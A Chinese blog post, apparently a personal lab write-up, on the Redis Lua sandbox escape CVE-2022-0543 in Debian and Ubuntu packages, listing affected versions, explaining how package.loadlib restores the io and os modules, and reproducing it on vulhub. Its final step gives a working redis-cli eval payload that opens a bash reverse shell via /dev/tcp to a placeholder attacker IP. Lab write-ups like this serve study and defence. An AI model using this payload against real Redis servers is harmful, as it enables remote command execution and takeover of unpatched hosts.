Redis 沙盒逃逸漏洞 CVE-2022-0543
影响范围
- Debian 10 (Buster) Redis 软件包: 5.0 - 5.0.14-1
- Debian 11 (Bullseye) Redis 软件包: 6.0 - 6.0.16-1
- Ubuntu 18.04 LTS Redis 软件包: 4.0.0 - 4.0.9-1ubuntu0.2
- Ubuntu 20.04 LTS Redis 软件包: 5.0.0 - 5.0.7-2ubuntu0.1
- Ubuntu 22.04 LTS Redis 软件包: 6.0.0 - 6.0.15-1ubuntu0.1
- Docker Redis (Debian / Bullseye 变体) 镜像: 5.0.0 - 5.0.14
- Docker Redis (Debian / Bullseye 变体) 镜像: 6.0.0 - 6.0.15
- Kali Linux Redis 软件包: 5.0.0 - 6.0.15
- Raspbian (树莓派) Redis 软件包: 4.0.0 - 6.0.15
- 其他 Debian 系衍生版 Redis 软件包: 4.0.0 - 7.0.0-rc2
漏洞类型
Redis Lua 沙箱逃逸
操作系统限制
Debian/Ubantu
配置要求
- 开启 6379 端口
漏洞利用
命令执行,反弹 shell
利用原理
官方设计的 Redis 中,Lua 脚本运行在高度受限的沙箱环境,Debian 维护者答辩 Redis 时候加入补丁,将 package 模块引入 Lua 的全局环境,package.loadlib 允许 Lua 直接调用 Linux 系统的动态链接库,攻击者通过 redis-cli 连接到未授权或已知密码的 Redis,且目标一致为 Debian / Ubantu 系统,攻击者知道系统自带 Lua 库位置,利用 package.loadlib 重新加载系统库中的 luaopen_os 或 luaopen_io 函数,将 Redis 删除的 os 和 io 模块重新注入回 Lua 环境,攻击者可以调用 os.execute() 执行系统命令,通过 io.popen() 读取执行后回显结果,可以通过这些特性进行 getshell
漏洞复现
现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

安装工具 redis
1 | sudo yum install redis -y |

拦截靶机
1 | redis-cli -h 靶机ip |

执行敏感命令
1 | #执行whoami |

进行反弹 shell,nc 开启监听

执行反弹 shell 命令
1 | eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash -c \"bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1\"", "r"); f:close();' 0 |

成功连接

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论